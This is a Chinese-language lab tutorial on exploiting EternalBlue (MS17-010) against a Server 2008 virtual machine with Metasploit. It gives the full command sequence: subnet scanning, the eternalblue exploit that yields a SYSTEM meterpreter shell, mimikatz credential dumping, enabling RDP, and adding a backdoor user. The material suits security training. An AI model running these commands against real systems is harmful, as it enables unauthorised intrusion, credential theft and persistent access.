导读
准备一个Server2008,通过
Metasploit
获取system访问权限,进入meterpreter
交互界面。
通过shell
命令,连通目标机器的cmd,查看目标系统信息。
然后通过mimikatz
查看系统用户。
最后通过run enable_rdp
开启控制机远程桌面并创建用户。

基础知识
永恒之蓝
SMB(Server Message Block)
又称网络文件共享系统(Common Internet File System,缩写为CIFS)
,一种应用层网络传输协议,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通讯等资源。它也提供经认证的行程间通信机能。
永恒之蓝”(Eternalblue)漏洞编号MS17-010 泄露自
美国国家安全局(NSA)
黑客工具包
该漏洞利用工具针对TCP 445端口(Server Message Block/SMB)的文件分享协议进行攻击,可以获取系统最高权限system
漏洞影响:Windows NT,Windows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0等
Metasploit
常用命令
show exploits – 查看所有可用的渗透攻击程序代码 show auxiliary – 查看所有可用的辅助攻击工具 show options – 查看该模块所有可用选项 show payloads – 查看该模块适用的所有载荷代码 show targets – 查看该模块适用的攻击目标类型search – 根据关键字搜索某模块 info – 显示某模块的详细信息 use – 进入使用某渗透攻击模块 back – 回退 set/unset – 设置/禁用模块中的某个参数 setg/unsetg – 设置/禁用适用于所有模块的全局参数 save – 将当前设置值保存下来,以便下次启动MSF终端时仍可使用
meterpreter
meterpreter 是一个高级的,动态的,可拓展的Payload,出现meterpreter 我们就有了shell,可以执行非常多的命令,去操控远端设备。
执行命令:?或者help,显示出可以执行的全部命令。
我们会用到upload
、run
等命令。

准备工作
虚拟机安装Server2008
系统下载地址:https://msdn.itellyou.cn/
安装:略~~~
Mac上安装Metasploit
下载安装:
【可忽略】官网地址:https://www.metasploit.com/download
【可忽略】通过官网,只能访问到github的wiki页面,wiki页面又让跳转到官网的帮助文档页面:https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html
帮助页面中,我们可以看到支持各种平台,其中Mac平台是通过https://osx.metasploit.com/metasploitframework-latest.pkg
下载,直接安装即可。
初始化、运行:
# 切换到工作目录cd /opt/metasploit-framework/bin/# 一定要这么做,否则连接的数据库一定有问题。./msfdb init# 运行Metasploit开控台(运行一次会将路径设置到环境变量中,以后就可以直接访问该目录中所有命令了)./msfconsole
Mac上安装远程桌面客户端Microsoft Remote Desktop
通过
App Store
是无法搜索到Microsoft Remote Desktop
的;通过https://apps.apple.com/tw/app/microsoft-remote-desktop/id1295203466页面跳转到App Store,会提示地区尚不提供此App
。
这里,我们通过该地址直接下载https://mac.softpedia.com/get/Utilities/Microsoft-Remote-Desktop-Connection.shtml,下载的文件名为
Microsoft_Remote_Desktop_10.7.9_installer.pkg
,双击即可安装。
下面两个下载地址需要登录,有点麻烦

相关漏洞插件msf6 > search 17-010
使用scanner辅助验证插件扫描漏洞
# 选中插件use auxiliary/scanner/smb/smb_ms17_010# 设置目录机器,单个ip验证(虚拟机中的Server2008)set RHOSTS 192.168.1.216# 开始执行漏洞扫描run
效果如下:
ps:
show options
是显示这个插件相关的参数,在Required这一栏下面是yes的表示必填参数。
ps:
参数RHOSTS
和THREADS
:# RHOSTS这个参数可以设置一个目标网段,进行扫描测试set RHOSTS 192.168.29.1/24# 设置扫描线程,插件默认是1,这里设置为20:set THREADS 20
exploit获取shell
使用exploit模块来进行攻击测试
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.1set THREADS 10run
效果如下:
执行命令
shell
即可进入cmd命令行:
ps:
在windows命令行输入 chcp 65001 解决中文乱码利用mimikatz模块,爆破靶机账号密码
# 加载mimikatzload mimikatz# 读取内存中存放的账号密码creds_wdigest
效果如下:
利用meterpreter模块,开启控制机远程桌面并创建用户
开启rdp
# 1,启动远程桌面(通过爆破出来的密码登录)meterpreter > run post/windows/manage/enable_rdp # 2,创建一个新用户来远程连接 windows 桌面meterpreter > run post/windows/manage/enable_rdp username=root password=root@toor.com
通过Microsoft Remote Desktop远程连接Server2008
ps:
kali连接windows桌面rdesktop 192.168.1.216
